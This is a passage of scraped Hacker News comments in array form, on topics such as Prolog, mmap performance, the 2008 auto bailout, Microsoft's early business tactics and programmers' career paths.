stories, i.e. more free coverage and watercooler talk for each Uber launch.\", \"I lean towards the pessimistic side of humanity&#x27;s future in space, but I don&#x27;t see that being a practical problem. If we manage to figure out a way to create a viable atmosphere on Mars, it ought to be a relatively trivial add-on to supply enough atmospheric gasses to make up for losses to solar radiation.\", NaN, \"Yeah, we made that the default project for teams to work on.\", \"Even more fun is using tramp to edit files as root on a machine via ssh. The whole installed editor canard is somewhat a nonissue from the emacs side.\", NaN, \"> Although entropy must increase over time in an isolated or \\u201cclosed\\u201d system, an \\u201copen\\u201d system can keep its entropy low \\u2014 that is, divide energy unevenly among its atoms \\u2014 by greatly increasing the entropy of its surroundings.<p>Perhaps the Earth biosphere is the only &quot;open&quot; system in the Universe that keeps its entropy low by increasing the entropy of its surroundings, i.e. the rest of the Universe.\", \"I&#x27;m surprised Prolog is not listed there.  here&#x27;s a simple example, try designing a function that calculates Fibonacci two ways in your favourite language.  given fib(N,X).  You can supply either N, or X or neither and generate the result.<p>?- time(fib(N, 703303677114228158218352548771835497701812698363587327426049\\\\n050871545371181969335797422494945626117334877504492417659910\\\\n881863632654502236471060120533741212738673391111981393731255\\\\n98767690091902245245323403501)).\\\\n% 44,649,335 inferences, 4.182 CPU in 4.193 seconds (100% CPU, 10676854 Lips)\\\\nN = 1000 .<p>?- time(fib(1000, F)).\\\\n% 497,690 inferences, 0.072 CPU in 0.072 seconds (100% CPU, 6935880 Lips)\\\\n...\", \"Can these be netbooted, thus, not needing an SD or eMMC card at all?\", NaN, \"As others have suggested, if mmap is so fast, wouldn&#x27;t it be expected that write/pwrite would just be mapped (pun intended) to mmap inside the standard library? [Heck for all I know, that might already be the case]<p>I have had to actually write benchmark tests to show some people I work with that there was no conlusive difference between the two (with our data access patterns). mmap having the disadvantage that it allows you more ways to shoot yourself in the foot (ever seen SIGBUS signals?). Before that they swore up and down how mmap is this magic performance hack that was burried in there for ages and only the elites know about it.\", NaN, NaN, \"Interesting how 4 of the 25 projects are related to Bitcoin. It just goes show that the cryptocurrency inspires a good fraction of computer & network security people:<p>CheckBits: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/adat-bschang-ericadu-ptew.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/adat-bschang-er...</a><p>TorCoin: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/bchrobot-ynnad19-dereklax.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/bchrobot-ynnad1...</a><p>Dryer21, a Bitcoin Anonymizer Service: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/asuhl-dannybd-snp.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/asuhl-dannybd-s...</a><p>Merkelized Abstract Syntax Trees: <a href=\\\"http://css.csail.mit.edu/6.858/2014/projects/jlrubin-mnaik-nityas.pdf\\\" rel=\\\"nofollow\\\">http://css.csail.mit.edu/6.858/2014/projects/jlrubin-mnaik-n...</a>\", NaN, \"I believe cigarette companies were charged with misrepresenting their products. Presumably the person you&#x27;re responding to would accept the cigarette solution: warning labels and sale to non minors only, and hefty fines for misleading advertising if performed.\", \"A bug nobody has pointed out yet is that star-star-t (sorry, can&#x27;t figure out this site&#x27;s markup for escaping stars) dereferences a null pointer. It appears to work because gcc decides to generate the same code for star-star-t as for star-t (which is correct behaviour if star-t is not NULL, and moot if t is NULL).  The code should just be star-t there.<p>Also, sizeof(int star-star) in hnew should be sizeof( int (star)[2] ).\", \"They are not, and as I recall it was one of the criticisms a friend of mine levelled at the report as well. That by sending up a Soyuz, and using both that module and the backup, they could return 6 people to earth. Then a second and Soyuz mission and the Atlantis mission to replace the backup and return excess crew. Leaving Columbia on orbit awaiting some form of repair or scuttling.<p>Mostly though it re-emphasized how &quot;not routine&quot; going up into space is. Orbital windows not withstanding, you cannot just &quot;decide&quot; to catch the next one and bring up hardware to fly. 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Saying things like that on Christmas Eve is a clear attempt to be a lightning rod for criticism.<p>I guess I'm going to have to email Mr. Kay myself if I want to find this so hard to find quote.  Noone on HN seems to know it.  I do recall that when I read it at least 10 years ago, I read it \\\"offline\\\".  Maybe the goog doesn't know this one? ;)\", \"<i>you'd be incorrect. (You'd also be kind of rude.)</i><p>Sounds like someone needs a spine ;)<p>On that note, though, I apologize for accusing you of something you did not do.\", \"Where's the sexism? Sexism would be assuming that the whiners were all boys, or using exclusively masculine gender instead of mixing it up a bit.\", \"The argument <i>\\\"X is better than being unemployed\\\"</i> can be made for many values of X.  It isn't spitting on fortune to suggest that some values of X are more desirable than others, and should be pursued strategically over the course of a career.\", \"Can it be an alligator wrestling startup at least?\", \"The Fed should oversee the loans, and Congress them, just as with anything else. I don't consider myself informed enough to have a strong opinion about the $700 billion one. I don't have any moral objections.\", \"It's funny that you two have taken up the question.  When I first read that comment about lack of killer instinct, there were certain YC founders who immediately popped into my head as people whose faces I'd have liked to hear him say that to...\", \"These \\\"speech macros\\\" are an interesting phenomenon.<p>How many people who have no problem with homosexuality still use \\\"gay\\\" as a derogatory term: \\\"Oh man, that's so gay.\\\"<p>If they were raised in the US or Canada in the last 30 years, it's just probably something they heard in the school-yard and now don't examine at all.<p>I've said such things, and the subsequent introspection has given me a new insight into those old fogies who say things like \\\"Nigger brown\\\", without meaning to be racist.<p>They were socialized in a racist culture, and although their  individual views may be different, they can't fully shake the legacy.\", \"When I vote, the site says:<p>\\\"Element.update(\\\"cat_1\\\", \\\"Thanks for voting!\\\");\\\\nElement.hide(\\\"noms_1\\\");\\\"<p>Weird. BTW, I am using Chrome. Is the error specific to it?\", \"And so you think YC startups are failing to negotiate well with IBM? I'm curious beyond some vague idea of ruthlessness, that really just seems like a fairly typical licensing deal magnified in importance by history, if there are any specific examples of a YC company not being ruthless.<p>I still go back to my original comment, which is that when you boil this whole question down, it makes no sense at all.\", \"Evil is only useful once you step outside of a competitive market.  EX: Cable company's seem to be Evil because they make more money that way, but trying to be more evil than the next pizza delivery company is useless.\", \"I have nothing to be defensive about -- it's your article.\", \"Now you're being less \\\"gossipy\\\" and more \\\"insulting to everyone's intelligence\\\", since your original post questions whether DHH is \\\"delusional\\\", and asks if it's \\\"really come to this\\\". You could have just asked the question you claim to have been asking. But that wouldn't have attracted all this attention, now, would it have?\", \"I don't think asking people to pay for your product is ruthless.\", \"whatever the auto makers do it's nothing compared to the f-ups of the bankers. even their loan is miniscule compared to the 2 trillion dollar loan we've already given the banking industry; not to mention the 5 trillion in free money and the complete lack of oversight and transparency for the bankers.<p>More attention should be re-diverted back to the banks...\", \"If you're two guys, two laptops and a server in an apartment, there aren't many costs to cut. That's the typical YC company. Marketing doesn't seem to do as much for a new company as PR, and simply being YC-funded is a big boost in that area.\", \"Why is this fugly \\\"award\\\" so over-hyped?\", \"There are really a billion people who (a) read DHH's blog and (b) have the maturity of a middle school student? How sad they must be when their peers turn on \\\"The Wire\\\".\", \"QDOS produced by Seattle Computer and purchased by Microsoft after Digital Research dragged their heels on their promises to deliever CP/M to IBM, was a rip-off of CP/M. We can argue about this point but it's documented by Gates' biographers.<p>Gates was hungry for that deal and beat Kildall to the punch, doing what he needed to, bending the rules/law to get his foot in the door at IBM.<p>The essay by pg about \\\"doing good\\\" mentioned by someone in this thread might ring true when the valves are open and VC funding is flowing freely but in the new financial reality that we are in, I am arguing that it is the companies that have this kind of ruthlessness that will be the ones who make it, not the ones who want to \\\"do good\\\". Microsoft is not an outlier in this practice. It is self-evident that this is the American way of business.<p><a href=\\\"http://books.google.com/books?id=iPWjNoSS9vUC&pg=PA120&lpg=PA120&dq=%22digital+research%22+%22seattle+computer+products%22+microsoft&source=bl&ots=62oRvvfB2g&sig=fBD_sIAB0Ogf3aLfiw_-Vk6pcrA&hl=en&sa=X&oi=book_result&resnum=1&ct=result#PPA120,M1\\\" rel=\\\"nofollow\\\">http://books.google.com/books?id=iPWjNoSS9vUC&pg=PA120&#...</a>\", \"I would say that Chrome (and Google starting to favor it over firefox) will slow down Mozilla's growth more than the downturn\", \"I have one very related quote, though by Greenspun, not Kay:<p>\\\"We will live in a society where the best educated engineers are not designing anti-lock brakes. They are either managing comparatively poorly educated people who are designing anti-lock brakes, stitching up wounds in people who were injured by faulty anti-lock brakes, or defending companies that got sued for their anti-lock brake systems that didn't work.\\\"<p>from <a href=\\\"http://philip.greenspun.com/school/tuition-free-mit.html\\\" rel=\\\"nofollow\\\">http://philip.greenspun.com/school/tuition-free-mit.html</a>\", \"What I don't get is how Rolando, which came out TWO DAYS before nominations closed, landed on there (not to say I don't love it) - <a href=\\\"http://vote.crunchies2008.techcrunch.com/votes/#category_16\\\" rel=\\\"nofollow\\\">http://vote.crunchies2008.techcrunch.com/votes/#category_16</a>\", \"Mircosoft was VERY assertive at first.  Without laying out a detailed history, very early on gates had a keen business sense and was quite ruthless.  They may have been 'building something people want', but the seeds of what microsoft would later become were without a doubt being planted.  <a href=\\\"http://en.wikipedia.org/wiki/Open_Letter_to_Hobbyists\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Open_Letter_to_Hobbyists</a>\", \"I've had a powermac g5 tower dual 1.6 for over two years now and it still works fine (though flash seems to be a lot slower now)<p>My other old mac a G3 (i forget how old it is) is still working well with Tiger (albeit a bit slower compared to everything else)\", \"The closest thing I found (via quick search) was a quote (apparently) by Paul Krugman:<p>\\\"Meanwhile, how much has our nation's future been damaged by the magnetic pull of quick personal wealth, which for years has drawn many of our best and brightest young people into investment banking, at the expense of science, public service and just about everything else?\\\"\", \"But who oversees the overseers? The American people have proven they can't pick a smart loan, much less manage $700B.<p>I'm opposed to both of the bailouts, with or without oversight.\", \"again, I wasn't trying to bash DHH.  Just adding some humor to my search for the very hard to find quote I'm still looking for.<p>But if you wonder why DHH seems to attract character assassins, look no further than how he signed off from his Christmas Eve post <a href=\\\"http://www.loudthinking.com/posts/36-work-on-what-you-use-and-share-the-rest\\\" rel=\\\"nofollow\\\">http://www.loudthinking.com/posts/36-work-on-what-you-use-an...</a><p>\\\"So kumbaja motherfuckers and merry christmas!\\\"<p>That's a great way to tick off a billion or so people.\", \"I like pirates of silicon valley better,<p><a href=\\\"http://www.youtube.com/watch?v=xflXMZL2stU\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=xflXMZL2stU</a>\", \"Ring-a-ding-ding. Totally agree.<p>For those of us that would hack paid or not, I'm thrilled to see someone like this considering getting out of the industry.<p>It opens up a seat for someone that loves programming to take their job.\", \"In a previous life as a math nerd, I used to do memory and mental arithmetic tricks, so this post rings true -- i.e, these calculations are all in fact easy to do with practice, even if they might not appear to be so at first.<p>It appears that the only way to make math cool is by focusing on the least useful part of it, and further, by giving it an aura of mystery by making exaggerated or false claims, when in fact the purpose of math is to clarify. Sad.<p>In this vein, see also my deconstruction of Arthur Benjamin's \\\"mathemagics\\\" performance: <a href=\\\"http://arvindn.livejournal.com/82413.html\\\" rel=\\\"nofollow\\\">http://arvindn.livejournal.com/82413.html</a>\", \"I don't necessarily disagree with him about this, but I do take issue with his disdain of academic or hobbyist projects.<p>The internet is increasingly providing free access to very large and very interesting data sets, and so of course we're seeing more and more people take advantage of this to do interesting things with this data.  And as working with these sorts of datasets becomes more and more common, it is silly to think that we should have to reinvent the wheel every time instead of having tools evolve around their uses.<p>Moreover, we're in an age where a couple people can successfully take an idea from a hobby project and turn it into a working business with little more than time, effort, and knowledge.  Given this, I would ask where the line is drawn between \\\"I need to work with this data\\\" and \\\"what sorts of cool things can I do with this data\\\".  My personal belief is that the line is very fine and blurry, and that the work of \\\"jerkoff hobbyists\\\" today is likely to lead to the serious uses of the future.\", \"They are actually - days like these the delivery guys don't get paid enough :)<p>It's not as if the roads are sealed or anything, but there's enough snow out there that most people are ill-equipped and ill-trained to deal with it. Cars are sliding off the roads because of lack of snow tires, and people are getting beached up all over the place. Not a pretty sight. But a good driver with snow tires/chains is not altogether too handicapped.\", \"Every pet I've owned has died (except the current dog)<p>One of our dogs only lasted 17 years, the other failed after just 15. The chooks weren't much good; we only seemed to get about 4 or 5 years from them. The finches are all dead, and so are the budgies. The rabbit died too.<p>My wife had a dog they gave away, but they kept in contact with the new owner, and after 6 years with the new owner, that dog was dead too.\", \"Every Mac I've owned has failed also. But every laptop I've ever owned has also, similarly, failed. Maybe it's me.<p>My point is though: Apple treated me right when my machine fails, the other laptop manufacturers (Dell, Acer) do not, not by a long shot, and for that reason alone I'll keep buying Macs.\", \"It's rather unlikely you're doing anything wrong. IIRC, BeautifulSoup docs acknowledge that it is rather slow.<p>Also, if you don't make use of the methods that extract/unravel object trees, they may not be properly GC'd, leading to further slowdowns. I can't remember the method names exactly (might be destroy() and extract()), but they're in the docs.\", NaN, \"\\\"These very first applications were basically simple implementations of some of the existing behavior/features that existed in facebook. A few that come to my mind are SuperPoke, SuperWall, FunWall, Send Hotness etc\\\"<p>Actually those top apps then (many of which still are) just replicated functionality MySpace already had. The various FunWalls, TopFriends, some of the music apps, etc.<p>It's not a bad strategy really. Look at one, more popular social network, assume that heavily used features there would be in demand on another social network, and build it. If there's ever another platform from a second place competitor that lacks a lot of the functionality of its first place rival, it would be wise to do the same thing.\", \"I don't think that's logical. I mean, I agree that there should maybe have been far more strings attached to the $700 billion, but that doesn't mean there should have been less oversight of this one. (There's actually pitifully little.)\", \"<a href=\\\"http://buffalobeast.com/133/bigthree.jpg\\\" rel=\\\"nofollow\\\">http://buffalobeast.com/133/bigthree.jpg</a>\", \"\\\"Do you know how many people in America go to jobs where you need permission to go to the bathroom?\\\"<p>I am actually quite interested in that statistic.\", \"That has everything to do with the price. They're ugly and crap because of the extra cost.\", \"Exactly.  I'm filing this one under 'general networking advice'.\", \"<i>They\\u2019re losing because every car costs $2,000 more to build due to higher wages and health care. That\\u2019s it. End of story.</i><p>I'd never buy an American car, and it has <i>nothing</i> to do with the price.  They're ugly, and crap.  End of story.\", \"I have a thing for second-hand 2001-era HP Omnibook 6100's, which fail after about 2 years (screen hinge, etc), but are QUIET. A recent favourite is Thinkpad T23's, which are titanium cased.\", \"Just to be devil's advocate, any credit card is going to do the same thing if your card is stolen; they're legally required to, but they also do a good job on this just as a customer retention measure.<p>My Amex story is about getting fucked over in a legitimate transaction, and Amex making it right even though the problem had nothing to do with my credit card. I was told to expect this of Amex customer service, and they were right.\", \"Huh? Here's the relevant section from the page you link to, in full:<p><i>David Heinemeier Hansson: [in response to a question]<p>I try not to predict the future. I\\u2019m not a big believer in fortune telling. The best way to predict the future is to implement it.</i><p>Since when was quoting a classic aphorism a source of \\\"guilt\\\"?  Am I supposed to include a footnote every time I use phrases like <i>premature optimization</i>, or <i>considered harmful</i>, or <i>half-implemented buggy version of half of Common Lisp</i> in casual conversation? Or does the do-not-quote-others rule only apply to DHH, who seems to attract character assassins as honey draws flies?\", \"Seems like 1/3 of them are stuff that you never even heard of, 1/3 are big name companies that have no reason to be in this thing at all, and 1/3 are actual startups that deserve to be nominated.<p>So basically a typical techcrunch \\\"startup\\\" event\", \"Writes/plays poker/cofounded a startup.\", \"My guess would be that he means, for instance, shipping IE for free and essentially destroying Netscape was ruthless and/or assertive. He's probably forgetting that that occurred in 1995, one decade after Windows first appeared, and two decades after Microsoft was founded.\", \"I printed this article out a couple of years ago when I started consulting and it has been an inspiration to me. It's always worthy of a re-read!\", \"I think the amount of oversight, controversy, and political grandstanding over giving $14 billion to companies that actually make things is just insane giving the $700+ billion given, without any strings attached, to companies that move numbers around on spreadsheets.\", \"You're right. Github is certainly the favorite (and deserves to be).\", \"How \\\"assertive\\\" was Microsoft at first? It seems like they spent their first decade toiling along at standardizing programming across the many different OEMs and computer types of the day. It was probably another decade until they did anything that anyone would consider \\\"ruthless\\\".<p>They started off trying to build something people want (Basic for the Altair) just like any YC company. I wouldn't say that most YC startups display any less ambition than building a Basic interpreter.\", \"Can you please clarify what you mean by assertive approach? You continually use Microsoft as an example, but I don't really think spending half a decade in courts is assertive.<p>Or maybe you could use some mid sized companies as examples as Google and Microsoft are both anomalies.\", \"One problem with discussions like this is that \\\"programming\\\" has an absurdly narrow definition. If you aren't actually spending the majority of your day typing code into emacs and fixing Javascript bugs, you are not a \\\"programmer\\\": you have \\\"migrated into management\\\".<p>A senior law partner who never personally argues a case or drafts a contract, but does nothing but attend meetings all day and supervise younger partners and paralegals, is still \\\"practicing law\\\". The chiefs of large hospital departments are still \\\"doctors\\\" even when they don't pick up a stethoscope for days at a time. Late in Beethoven's career, when he was almost completely deaf, no longer able to perform or even to critique other performers, he was still a \\\"musician\\\".<p>Whereas (e.g.) Joel Spolsky is now a \\\"manager\\\". Except when he's working on Arc, PG is more likely to be called a \\\"manager\\\" or an \\\"angel investor\\\" or a \\\"venture capitalist\\\" or a \\\"technology pundit\\\" or a \\\"marketer\\\" or a \\\"writer\\\" or a \\\"teacher\\\" or a \\\"designer\\\" or a \\\"strategic consultant\\\" or an \\\"executive chef\\\" (I think he does all of these things!) than a mere <i>programmer</i>. But just because these guys somehow don't fit our hyper-narrow definition of \\\"programmer\\\" doesn't necessarily mean that they had a problem with their software careers. It might just mean that there are many opportunities in software -- some quite rewarding or lucrative; many of which are best performed by someone who also knows how to program -- that aren't captured in the scope of the term <i>programmer</i>.<p>Part of the reason why there seem to be so few \\\"programmers\\\" in their forties and fifties is that by that time many of them have dreamed up a better job title for themselves, like \\\"senior member of the technical staff\\\" or \\\"chief of QA\\\" or \\\"Java architecture consultant\\\" or even \\\"co-founder\\\" or \\\"CEO\\\". Spolsky loves to tell the story about his Bill Gates review:<p><a href=\\\"http://www.joelonsoftware.com/items/2006/06/16.html\\\" rel=\\\"nofollow\\\">http://www.joelonsoftware.com/items/2006/06/16.html</a><p>At the time of that review, Bill Gates had not been called a <i>programmer</i> for years and years. He was a CEO and a co-founder, and was paid accordingly (and then some). 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